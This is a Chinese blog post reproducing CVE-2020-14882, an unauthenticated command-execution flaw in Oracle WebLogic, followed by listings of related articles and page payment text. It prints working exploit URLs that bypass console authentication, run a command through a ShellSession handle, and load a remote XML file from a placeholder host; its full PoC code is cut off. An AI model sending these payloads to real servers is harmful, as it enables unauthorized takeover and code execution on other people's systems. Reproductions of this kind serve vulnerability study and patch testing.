cve-2020-14882 Weblogic未授权命令执行复现

最新推荐文章于 2024-04-16 22:21:14 发布
最新推荐文章于 2024-04-16 22:21:14 发布
阅读量259 收藏
点赞数
分类专栏： 漏洞复现
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/weixin_47156475/article/details/119594859
版权
本文详细介绍了CVE-2020-14882漏洞的复现过程，包括构造PoC接管后台、执行命令（如弹计算器）以及通过不同方式加载并执行远程XML文件。该漏洞允许攻击者在受影响的Weblogic服务器上执行任意命令，危害严重。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

漏洞复现：
1.构造PoC，可以直接未授权接管后台：
http://ip:port/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

2.命令执行----->疯狂弹计算器：
http://ip:port/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22)

3.通过FileSystemXmlApplicationContext()加载并执行远端xml文件：
http://ip:port/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(“http://xx.x.xx.x/111.xml”)

PoC代码：

<beans xmlns
最低0.47元/天 解锁文章
CVE-2020-14882【vulhub weblogic漏洞复现】
weixin_65722679的博客
07-04 480
CVE-2020-14882【vulhub weblogic漏洞复现】
CVE-2020-14882 Oracle WebLogic远程命令执行漏洞
dearya123的博客
06-28 2910
Oracle WebLogic Server是美国甲骨文（Oracle）公司的一款适用于云环境和传统环境的应用服务中间件，它提供了一个现代轻型开发平台，支持应用从开发到生产的整个生命周期管理，并简化了应用的部署和管理。 Oracle WebLogic Server Console 多版本存在安全漏洞，该漏洞使未经身份验证的攻击者可以通过HTTP访问网络，从而破坏Oracle WebLogic Server，受影响版本如下： 10.3.6.0.0版本, 12.1.3.0.0版本, 12.2.1.3.0版本,
weblogic未授权访问命令执行复现（cve-2020-14882）
来到了学渣的博客
11-01 4911
最近的weblogic漏洞很火，直接上手复现一波。也踩了很多坑，比如用docker搭建环境的时候，用不回显payload的话，如何执行命令（所以用有回显的payload是最舒服的最直观的） 漏洞版本主要影响到 Oracle WebLogic Server 版本10.3.6.0，12.1.3.0，12.2.1.3，12.2.1.4，14.1.1.0。 版本12.2.1.3 先执行下现有的payload，可以直接未授权面板 ip/console/images/%252E%252E%252Fconsole.p
CVE-2020-14882 weblogic未授权远程命令执行漏洞
栉风沐雪的博客
02-22 5270
Oracle WebLogic Server 远程代码执行漏洞 （CVE-2020-14882）POC 被公开，未经身份验证)的远程攻击者可通过构造特殊的 HTTP GET 请求，结合 CVE-2020-14883 漏洞进行利用，利用此漏洞可在未经身份验证的情况下直接接管 WebLogic Server Console ，并执行任意代码，利用门槛低，危害巨大。Oracle WebLogic Server，版本10.3.6.0，12.1.3.0，12.2.1.3，12.2.1.4，14.1.1.0。
CVE-2020-14882&14883漏洞复现
m0_52089634的博客
01-03 1975
CVE漏洞复现
Weblogic管理控制台未授权远程命令执行漏洞复现（cve-2020-14882/cve-2020-14883）
Bird&Bird
03-11 746
Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中，Oracle官方修复了两个安全漏洞，分别是CVE-2020-14882和CVE-2020-14883；CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台，CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链，可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
CVE-2020-14882、CVE-2020-14883 Weblogic 管理控制台未授权远程命令执行漏洞
weixin_45715461的博客
07-02 1513
CVE-2020-14882、CVE-2020-14883 Weblogic 管理控制台未授权远程命令执行漏洞
【漏洞复现】Weblogic未授权命令执行漏洞（ CVE-2020-14882）
weixin_43486390的博客
12-17 2426
CVE-2020-14882
Weblogic Server RCE（CVE-2020-14882、CVE-2020-14883）复现
weixin_42558965的博客
01-07 884
复现场景：docker、CentOS7、windows物理机 浮现过程： 使用vulhub-master配合docker搭建，进入weblogic/CVE-2020-14882文件夹下搭建环境： docker-compose up -d 成功搭建后在物理机上访问靶机IP+端口（默认7001），如下图所示： 访问靶机IP+端口（默认7001）/console如下图所示： 首先复现CVE-2020-14882绕过验证权限漏洞： 访问URL： http://靶机IP:7001/console/css/%25
CVE-2020-14882 | Weblogic未授权命令执行漏洞复现
AzVoidSUN的博客
11-04 1436
环境安装 首先电脑已安装好的jdk \bin目录下 然后java -jar 执行你的jar包就可以了 Oracle WebLogic Server版本：10.3.6.0，12.1.3.0，12.2.1.3，12.2.1.4，14.1.1.0。均存在此漏洞。 构造poc ，未授权访问后台地址http://127.0.0.1:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsCo
服务器经常宕机，排查问题思路
weixin_33769125的博客
09-24 7028
2019独角兽企业重金招聘Python工程师标准>>> ...
WebLogic远程代码执行漏洞 CVE-2020-14882
Longwaer
01-13 552
通过笔记详细了解中间件漏洞复现流程。
Weblogic 常见漏洞分析与利用
未完成的歌~的博客
03-23 1万+
一直没有系统的总结过 weblogic 的漏洞，今天通过 vulhub 靶场来复现几个经典的案例。WebLogic 是美国 Oracle 公司出品的一个基于 JAVAEE 架构的中间件，是用于开发、集成、部署和管理大型分布式 Web 应用、网络应用和数据库应用的Java应用服务器。WebLogic 由纯 Java 开发，长期以来一直被认为是市场上最好的J2EE工具之一，被广泛应用于开发、部署和运行 Java 应用等适用于本地环境和云环境的企业应用。
CVE-2020-14882 weblogic 未授权命令执行复现及分析
weixin_39811856的博客
10-30 998
简介 该漏洞通过HTTP协议进行利用，远程且未经授权的攻击者可以直接在服务端执行任意代码，获取系统权限。 环境搭建 windows server 2012 weblogic 12 通过宽字节安全的分析来看（调试源码）： http://<target>/console/console.portal?_nfpb=true&_pageLabel=HomePage1&handle=java.lang.String("ahihi") ...
weblogic漏洞复现学习
最新发布
m0_64777251的博客
04-16 1372
Oracle WebLogic Server 远程代码执行漏洞 （CVE-2020-14882）POC 被公开,未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求，利用该漏洞在受影响的 WebLogic Server 上执行任意代码。它们均存在于WebLogic的Console控制台组件中。此组件为WebLogic全版本默认自带组件，且该漏洞通过HTTP协议进行利用。
weblogic 未授权命令执行漏洞（CVE-2020-14882）复现
热门推荐
玄道的网安博客
10-29 1万+
简介 WebLogic是美国Oracle公司出品的一个application server，确切的说是一个基于JAVAEE架构的中间件，WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。 漏洞概述 未经身份验证的远程攻击者可能通过构造特殊的 HTTP GET请求，利用该漏洞在受影响的 WebLogic Server 上执行任意代码。 影响版本 Oracle Weblogic Server 10.3.6.0.0 Orac...
Weblogic 管理控制台未授权远程命令执行漏洞（CVE-2020-14882，CVE-2020-14883）
shayebudon的博客
12-20 3039
漏洞复现： 首先测试权限绕过漏洞（CVE-2020-14882），访问以下URL，即可未授权访问到管理后台页面： http://your-ip:7001/console/css/%252e%252e%252fconsole.portal 访问后台后，可以发现我们现在是低权限的用户，无法安装应用，所以也无法直接执行任意代码： 此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种，一是通过com.tangosol.coherence.mvel2.sh.ShellS...
weblogic修改控制台ip_Weblogic未授权访问及命令执行分析复现
weixin_39640085的博客
12-12 1375
一、背景漏洞概述：WebLogic是美国Oracle公司的主要产品之一，是商业市场上主要的 J2EE 应用服务器软件，也是世界上第一个成功商业化的J2EE应用服务器，在 Java 应用服务器中有非常广泛的部署和应用。10月21日，Oracle官方发布数百个组件的高危漏洞公告。其中组合利用CVE-2020-14882/ CVE-2020-14883可使未经授权的攻击者绕过WebLogic后台登录等限...
Weblogic RCE漏洞CVE-2020-14882&14883：复现与影响版本解析
近期，两个关键性漏洞 CVE-2020-14882 和 CVE-2020-14883 被发现，这些漏洞的存在使得未经授权的远程攻击者能够通过精心构造的GET请求，在受影响的Weblogic Server上执行任意代码。这两个漏洞影响了多个版本，包括...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值